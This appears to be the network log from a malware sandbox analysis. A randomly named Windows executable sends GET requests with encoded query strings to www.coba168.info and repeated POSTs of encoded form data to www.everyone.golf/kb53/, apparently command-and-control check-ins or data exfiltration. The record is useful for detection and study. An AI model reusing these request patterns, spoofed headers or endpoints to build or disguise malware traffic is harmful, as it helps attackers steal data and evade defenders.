0HpAaxT1aGVNRGsKGS0tL4RK7hfc9byY+FdcSks5ViTuqI3uokpvHvdCQPWjc/BZ4s8hn2z3ZRGLB/Myg3CRsVZx6BNgWG5D77Du8v1OsNE/JwxIyYkbT0J+MUfbjNspSHtOUmw1eksw5oV8eoMHWIy5uedPTA2R3Kx0HuS3MgrpZ54Uzmmd2hS/FszhL3RpebjUgxvHhyxA/c+IHKqC0gaAhZ17FCWAq [TRUNCATED]
Oct 24, 2024 15:18:23.198098898 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 24 Oct 2024 13:18:22 GMT Server: Apache X-Powered-By: PHP/8.2.23 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.coba168.info/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 74 68 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 63 6f 62 61 31 36 38 2e 69 6e 66 6f 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 [TRUNCATED] Data Ascii: 4000<!DOCTYPE html><html lang="th"><head><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><link rel="profile" href="http://gmpg.org/xfn/11" /><link rel="pingback" href="http://www.coba168.info/xmlrpc.php" /><meta name='robots' content='noindex, follow' />... This site is optimized with the Yoast SEO plugin v23.7 - https://yoast.com/wordpress/plugins/seo/ --><title>Page not found - coba168 </title><meta property="og:locale" content="th_TH" /><meta property="og:title" content="Page not found - coba168
Oct 24, 2024 15:18:23.198165894 CEST	212	IN	Data Raw: 95 e0 b8 81 e0 b8 87 e0 b9 88 e0 b8 b2 e0 b8 a2 20 e0 b8 9e e0 b8 a3 e0 b9 89 e0 b8 ad e0 b8 a1 e0 b9 80 e0 b8 84 e0 b8 a3 e0 b8 94 e0 b8 b4 e0 b8 95 e0 b8 9f e0 b8 a3 e0 b8 b5 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f Data Ascii: " /><meta property="og:site_name" content="coba168
Oct 24, 2024 15:18:23.198184967 CEST	1236	IN	Data Raw: 95 e0 b8 81 e0 b8 87 e0 b9 88 e0 b8 b2 e0 b8 a2 20 e0 b8 9e e0 b8 a3 e0 b9 89 e0 b8 ad e0 b8 a1 e0 b9 80 e0 b8 84 e0 b8 a3 e0 b8 94 e0 b8 b4 e0 b8 95 e0 b8 9f e0 b8 a3 e0 b8 b5 22 20 2f 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 61 70 70 Data Ascii: " /><script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"WebSite","@id":"https://www.coba168.info/#website","url":"https
Oct 24, 2024 15:18:23.198210001 CEST	1236	IN	Data Raw: 7b 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6f 62 61 31 36 38 2e 69 6e 66 6f 2f 23 2f 73 63 68 65 6d 61 2f 6c 6f 67 6f 2f 69 6d 61 67 65 2f 22 7d 7d 5d 7d 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 21 2d 2d 20 2f 20 59 6f 61 73 74 20 Data Ascii: {"@id":"https://www.coba168.info/#/schema/logo/image/"}}]}</script>... / Yoast SEO plugin. --><link rel="alternate" type="application/rss+xml" title="coba168
Oct 24, 2024 15:18:23.198235035 CEST	1236	IN	Data Raw: 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2c 65 2e 66 69 6c 6c 54 65 78 74 28 74 2c 30 2c 30 29 3b 76 61 72 20 74 3d 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 65 2e 67 65 74 49 6d 61 67 65 44 61 74 61 28 30 2c 30 2c Data Ascii: width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),r=(e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0),new Uint32Array(e.getImageData(0,0,e.canvas.width,e.ca
Oct 24, 2024 15:18:23.198286057 CEST	636	IN	Data Raw: 65 74 74 69 6e 67 73 53 75 70 70 6f 72 74 73 22 2c 73 3d 5b 22 66 6c 61 67 22 2c 22 65 6d 6f 6a 69 22 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 3d 7b 65 76 65 72 79 74 68 69 6e 67 3a 21 30 2c 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 Data Ascii: ettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(sessionStorage.
Oct 24, 2024 15:18:23.198327065 CEST	1236	IN	Data Raw: 2e 74 6f 53 74 72 69 6e 67 28 29 2c 70 2e 74 6f 53 74 72 69 6e 67 28 29 5d 2e 6a 6f 69 6e 28 22 2c 22 29 2b 22 29 29 3b 22 2c 72 3d 6e 65 77 20 42 6c 6f 62 28 5b 65 5d 2c 7b 74 79 70 65 3a 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 7d 29 Data Ascii: .toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"}),a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=function(e){c(n=e.data),a.terminate(),t(n)})}catch(e){}c(n=f(s,u,p))}t
Oct 24, 2024 15:18:23.198344946 CEST	212	IN	Data Raw: 20 30 2e 30 37 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 2d 30 2e 31 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 Data Ascii: 0.07em !important;vertical-align: -0.1em !important;background: none !important;padding: 0 !important;}</style><link rel='stylesheet' id='wp-block-library-css' href='http://www.coba168.info/wp-inclu
Oct 24, 2024 15:18:23.198376894 CEST	1236	IN	Data Raw: 64 65 73 2f 63 73 73 2f 64 69 73 74 2f 62 6c 6f 63 6b 2d 6c 69 62 72 61 72 79 2f 73 74 79 6c 65 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 36 2e 32 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 73 74 79 6c 65 20 69 64 3d 27 63 6c 61 73 Data Ascii: des/css/dist/block-library/style.min.css?ver=6.6.2' media='all' /><style id='classic-theme-styles-inline-css'>/! This file is auto-generated /.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;
Oct 24, 2024 15:18:23.198405027 CEST	1236	IN	Data Raw: 75 72 70 6c 65 3a 20 23 39 62 35 31 65 30 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 76 69 76 69 64 2d 63 79 61 6e 2d 62 6c 75 65 2d 74 6f 2d 76 69 76 69 64 2d 70 75 72 70 6c 65 3a 20 6c 69 6e 65 61 72 2d 67 72 61 Data Ascii: urple: #9b51e0;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgba(6,147,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,
Oct 24, 2024 15:18:23.203850985 CEST	1236	IN	Data Raw: 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 35 35 2c 32 34 35 2c 32 30 33 29 20 30 25 2c 72 67 62 28 31 38 32 2c 32 32 37 2c 32 31 32 29 20 35 30 25 2c 72 67 62 28 35 31 2c 31 36 37 2c 31 38 31 29 20 Data Ascii: : linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49994	118.139.178.37	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:18:24.558223963 CEST	482	OUT	GET /o55g/?7Bohe=SntAYgquUuF8cmTqKgeHt96czNjKbI7walrzfjn5MBbpbz0DMUAQT5TGmaCmCOcjM4ET7TOvVUXTFF/O6lHSx5C+s9iWJ/mgfg63citE2SV2GP/8IEdknZeeY7ynAeJL4g==&vD=h0e85v HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.coba168.info Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Oct 24, 2024 15:18:25.763803959 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 24 Oct 2024 13:18:25 GMT Server: Apache X-Powered-By: PHP/8.2.23 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.coba168.info/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 74 68 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 63 6f 62 61 31 36 38 2e 69 6e 66 6f 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 [TRUNCATED] Data Ascii: 4000<!DOCTYPE html><html lang="th"><head><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><link rel="profile" href="http://gmpg.org/xfn/11" /><link rel="pingback" href="http://www.coba168.info/xmlrpc.php" /><meta name='robots' content='noindex, follow' />... This site is optimized with the Yoast SEO plugin v23.7 - https://yoast.com/wordpress/plugins/seo/ --><title>Page not found - coba168 </title><meta property="og:locale" content="th_TH" /><meta property="og:title" content="Page not found - coba168
Oct 24, 2024 15:18:25.763853073 CEST	212	IN	Data Raw: 95 e0 b8 81 e0 b8 87 e0 b9 88 e0 b8 b2 e0 b8 a2 20 e0 b8 9e e0 b8 a3 e0 b9 89 e0 b8 ad e0 b8 a1 e0 b9 80 e0 b8 84 e0 b8 a3 e0 b8 94 e0 b8 b4 e0 b8 95 e0 b8 9f e0 b8 a3 e0 b8 b5 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f Data Ascii: " /><meta property="og:site_name" content="coba168
Oct 24, 2024 15:18:25.763912916 CEST	1236	IN	Data Raw: 95 e0 b8 81 e0 b8 87 e0 b9 88 e0 b8 b2 e0 b8 a2 20 e0 b8 9e e0 b8 a3 e0 b9 89 e0 b8 ad e0 b8 a1 e0 b9 80 e0 b8 84 e0 b8 a3 e0 b8 94 e0 b8 b4 e0 b8 95 e0 b8 9f e0 b8 a3 e0 b8 b5 22 20 2f 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 61 70 70 Data Ascii: " /><script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"WebSite","@id":"https://www.coba168.info/#website","url":"https
Oct 24, 2024 15:18:25.763948917 CEST	212	IN	Data Raw: 7b 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6f 62 61 31 36 38 2e 69 6e 66 6f 2f 23 2f 73 63 68 65 6d 61 2f 6c 6f 67 6f 2f 69 6d 61 67 65 2f 22 7d 7d 5d 7d 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 21 2d 2d 20 2f 20 59 6f 61 73 74 20 Data Ascii: {"@id":"https://www.coba168.info/#/schema/logo/image/"}}]}</script>... / Yoast SEO plugin. --><link rel="alternate" type="application/rss+xml" title="coba168
Oct 24, 2024 15:18:25.763978958 CEST	1236	IN	Data Raw: 84 e0 b8 b8 e0 b8 93 e0 b8 a0 e0 b8 b2 e0 b8 9e e0 b8 88 e0 b8 b2 e0 b8 81 e0 b8 84 e0 b9 88 e0 b8 b2 e0 b8 a2 e0 b8 94 e0 b8 b1 e0 b8 87 20 e0 b9 81 e0 b8 95 e0 b8 81 e0 b8 87 e0 b9 88 e0 b8 b2 e0 b8 a2 20 e0 b8 9e e0 b8 a3 e0 b9 89 e0 b8 ad e0 Data Ascii: » " href="https://www.coba168.info/feed/" /><link rel="alternate" type="application/rss+xml" title="coba168
Oct 24, 2024 15:18:25.764010906 CEST	212	IN	Data Raw: 61 67 65 44 61 74 61 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2e 64 61 74 61 29 29 3b 72 65 74 75 72 6e 20 74 2e 65 76 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 Data Ascii: ageData(0,0,e.canvas.width,e.canvas.height).data));return t.every(function(e,t){return e===r[t]})}function u(e,t,n){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b
Oct 24, 2024 15:18:25.764051914 CEST	1236	IN	Data Raw: 5c 75 32 36 61 37 5c 75 66 65 30 66 22 29 3f 21 31 3a 21 6e 28 65 2c 22 5c 75 64 38 33 63 5c 75 64 64 66 61 5c 75 64 38 33 63 5c 75 64 64 66 33 22 2c 22 5c 75 64 38 33 63 5c 75 64 64 66 61 5c 75 32 30 30 62 5c 75 64 38 33 63 5c 75 64 64 66 33 22 Data Ascii: \u26a7\ufe0f")?!1:!n(e,"\ud83c\uddfa\ud83c\uddf3","\ud83c\uddfa\u200b\ud83c\uddf3")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc6
Oct 24, 2024 15:18:25.764120102 CEST	212	IN	Data Raw: 7d 28 29 3b 69 66 28 21 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 57 6f 72 6b 65 72 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 4f 66 66 73 63 72 65 65 6e 43 61 6e 76 61 73 26 26 22 75 6e Data Ascii: }();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(s),u
Oct 24, 2024 15:18:25.764267921 CEST	1236	IN	Data Raw: 2e 74 6f 53 74 72 69 6e 67 28 29 2c 70 2e 74 6f 53 74 72 69 6e 67 28 29 5d 2e 6a 6f 69 6e 28 22 2c 22 29 2b 22 29 29 3b 22 2c 72 3d 6e 65 77 20 42 6c 6f 62 28 5b 65 5d 2c 7b 74 79 70 65 3a 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 7d 29 Data Ascii: .toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"}),a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=function(e){c(n=e.data),a.terminate(),t(n)})}catch(e){}c(n=f(s,u,p))}t
Oct 24, 2024 15:18:25.764303923 CEST	1236	IN	Data Raw: 20 30 2e 30 37 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 2d 30 2e 31 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 Data Ascii: 0.07em !important;vertical-align: -0.1em !important;background: none !important;padding: 0 !important;}</style><link rel='stylesheet' id='wp-block-library-css' href='http://www.coba168.info/wp-includes/css/dist/block-library/styl
Oct 24, 2024 15:18:25.771301031 CEST	1236	IN	Data Raw: 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 3a 20 23 37 62 64 63 62 35 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 67 72 65 65 6e 2d 63 79 61 Data Ascii: -wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--gr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49995	3.33.130.190	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:18:31.500427961 CEST	743	OUT	POST /kb53/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.everyone.golf Origin: http://www.everyone.golf Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 206 Referer: http://www.everyone.golf/kb53/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 34 5a 63 68 79 4b 78 51 68 6f 59 32 31 74 2b 51 2f 2b 39 6c 74 43 6f 70 74 32 38 73 67 33 44 52 33 41 73 6e 56 42 74 43 34 31 43 51 63 63 4f 74 2b 79 54 52 36 44 4c 71 52 76 4c 35 47 63 35 2b 35 7a 4d 53 64 78 73 35 46 77 4c 63 65 46 57 38 71 43 38 36 6d 4c 52 68 7a 7a 59 44 4f 53 54 2b 34 47 6c 31 34 39 56 68 6e 6e 56 58 6e 2f 53 38 50 41 7a 53 4d 30 54 6b 6f 51 75 47 62 67 74 68 48 62 43 44 63 6b 79 51 45 4f 2f 50 2f 41 36 59 77 66 75 32 4d 6d 78 72 79 69 53 72 54 50 33 76 53 64 4d 30 71 6d 4c 53 45 79 45 55 74 53 4e 4c 44 64 4b 53 6b 42 58 4c 47 7a 55 72 77 79 39 50 77 70 33 61 44 71 77 3d Data Ascii: 7Bohe=4ZchyKxQhoY21t+Q/+9ltCopt28sg3DR3AsnVBtC41CQccOt+yTR6DLqRvL5Gc5+5zMSdxs5FwLceFW8qC86mLRhzzYDOST+4Gl149VhnnVXn/S8PAzSM0TkoQuGbgthHbCDckyQEO/P/A6Ywfu2MmxryiSrTP3vSdM0qmLSEyEUtSNLDdKSkBXLGzUrwy9Pwp3aDqw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49996	3.33.130.190	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:18:34.042968035 CEST	763	OUT	POST /kb53/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.everyone.golf Origin: http://www.everyone.golf Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 226 Referer: http://www.everyone.golf/kb53/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 34 5a 63 68 79 4b 78 51 68 6f 59 32 36 74 4f 51 35 59 31 6c 34 79 70 62 6a 57 38 73 75 58 44 56 33 41 77 6e 56 42 46 53 34 6a 79 51 64 2b 57 74 76 48 6e 52 33 6a 4c 71 62 50 4c 38 49 38 35 31 35 79 77 6b 64 78 41 35 46 77 50 63 65 42 61 38 72 7a 38 31 6d 62 52 6a 6f 6a 59 42 54 43 54 2b 34 47 6c 31 34 38 78 4c 6e 6e 4e 58 6b 50 69 38 4f 6c 48 54 42 55 54 6a 76 51 75 47 4e 51 74 62 48 62 43 62 63 6c 2b 32 45 49 37 50 2f 46 47 59 77 4f 75 31 66 47 78 6c 2f 43 54 64 62 74 43 43 66 74 51 35 67 67 4f 30 46 42 34 41 68 45 67 68 5a 2f 43 36 33 68 37 7a 57 67 63 63 68 43 63 6d 71 4b 6e 71 64 39 6e 39 67 62 2f 5a 43 70 47 76 30 6d 6b 4c 6b 77 69 39 4b 6f 70 56 Data Ascii: 7Bohe=4ZchyKxQhoY26tOQ5Y1l4ypbjW8suXDV3AwnVBFS4jyQd+WtvHnR3jLqbPL8I8515ywkdxA5FwPceBa8rz81mbRjojYBTCT+4Gl148xLnnNXkPi8OlHTBUTjvQuGNQtbHbCbcl+2EI7P/FGYwOu1fGxl/CTdbtCCftQ5ggO0FB4AhEghZ/C63h7zWgcchCcmqKnqd9n9gb/ZCpGv0mkLkwi9KopV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49997	3.33.130.190	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:18:36.592191935 CEST	1780	OUT	POST /kb53/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.everyone.golf Origin: http://www.everyone.golf Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1242 Referer: http://www.everyone.golf/kb53/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 34 5a 63 68 79 4b 78 51 68 6f 59 32 36 74 4f 51 35 59 31 6c 34 79 70 62 6a 57 38 73 75 58 44 56 33 41 77 6e 56 42 46 53 34 67 53 51 63 4c 4b 74 2b 55 50 52 34 44 4c 71 58 76 4c 39 49 38 35 53 35 79 70 74 64 78 38 44 46 79 48 63 66 69 53 38 69 68 45 31 73 62 52 6a 33 7a 59 4d 4f 53 53 36 34 47 56 4c 34 39 42 4c 6e 6e 4e 58 6b 4d 36 38 59 41 7a 54 53 45 54 6b 6f 51 76 55 62 67 73 56 48 66 57 68 63 6c 71 41 45 59 62 50 2b 6c 32 59 78 38 57 31 46 47 77 44 34 43 54 56 62 74 65 42 66 74 4d 66 67 67 54 54 46 42 51 41 6a 56 45 37 49 50 61 79 67 52 2f 6e 51 48 4d 4e 30 47 77 38 69 61 36 41 5a 66 75 63 37 35 37 57 4d 50 36 35 77 56 68 35 6d 57 47 2b 48 4f 51 70 4a 78 37 4a 6b 71 72 4c 73 72 47 56 69 57 66 76 6f 39 42 54 48 38 66 56 57 51 52 73 43 65 30 41 47 38 49 63 79 6a 48 36 41 6d 77 36 6f 7a 55 48 67 50 68 75 6e 77 61 46 61 76 7a 57 73 39 51 4a 49 56 74 77 39 43 38 32 52 64 71 72 32 6d 5a 74 74 62 68 6d 6f 35 6a 5a 6e 54 76 78 52 68 71 42 39 6b 70 42 77 78 7a 6a 7a 38 79 32 44 33 37 56 [TRUNCATED] Data Ascii: 7Bohe=4ZchyKxQhoY26tOQ5Y1l4ypbjW8suXDV3AwnVBFS4gSQcLKt+UPR4DLqXvL9I85S5yptdx8DFyHcfiS8ihE1sbRj3zYMOSS64GVL49BLnnNXkM68YAzTSETkoQvUbgsVHfWhclqAEYbP+l2Yx8W1FGwD4CTVbteBftMfggTTFBQAjVE7IPaygR/nQHMN0Gw8ia6AZfuc757WMP65wVh5mWG+HOQpJx7JkqrLsrGViWfvo9BTH8fVWQRsCe0AG8IcyjH6Amw6ozUHgPhunwaFavzWs9QJIVtw9C82Rdqr2mZttbhmo5jZnTvxRhqB9kpBwxzjz8y2D37V5+TJfCCO8zgi3jmzP3wEPmRiLEwIDUH/4bL2AgM94Tz3JGdcu1uuwKEjndBWKn2VwElDqvuhsTtZdkN6n0Eh6Twt7Xsf7GLOn8U/MYbHigxK3EOR8l4jtRgNxkhnNGCCxwhCCIDf/+bECWqTF0e1K1qfujQpOpcVLWF9E6ZCmoAMitVw6IqLKMIAKBJkNJ7eLLnvoPsVMFQ1wPTAHkUGAgZsnsfMnF/15/ktdkOClRBXu6wMg8m4S8rXYhXuyTaKqF89RRSNBnOJuGcqy9hC2bEltEohOT6t42NIouBwGU8WK3ZmhMeWog/0hUFIel4E+Cp2Al8uXWQrQKVqBMgOzr6JSrzOyqk8MSClcTyA8t6HxPHZdt0urllcWQbyn8BfK8lR0lXI2aQH24kXDc6sIP+ovAVgVuGmZnA1N9hFSyvIq8wPgWBWaxP+VnhObSTUGkZDe8QWBqsI277DD3YjXkqNklVLO6AiUkn3L1r52ZGk2ZrlA66buGhqPEzdemUQACEX5+Gn3BxOdJvMhNrEAgP/Yk+C+dRb2F6hErYVzjlRoNezIbZUU7RA8ga8Pp9ngSru9KuaTielLdpz2l+mG6AvsxiMqXGlCP1Pwe6WGqGzQ+Hzz5EyMvBbJWcYguywSKG/oPuvKa/ZtKgWX9jsw6zrum5evgR8iM [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49998	3.33.130.190	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
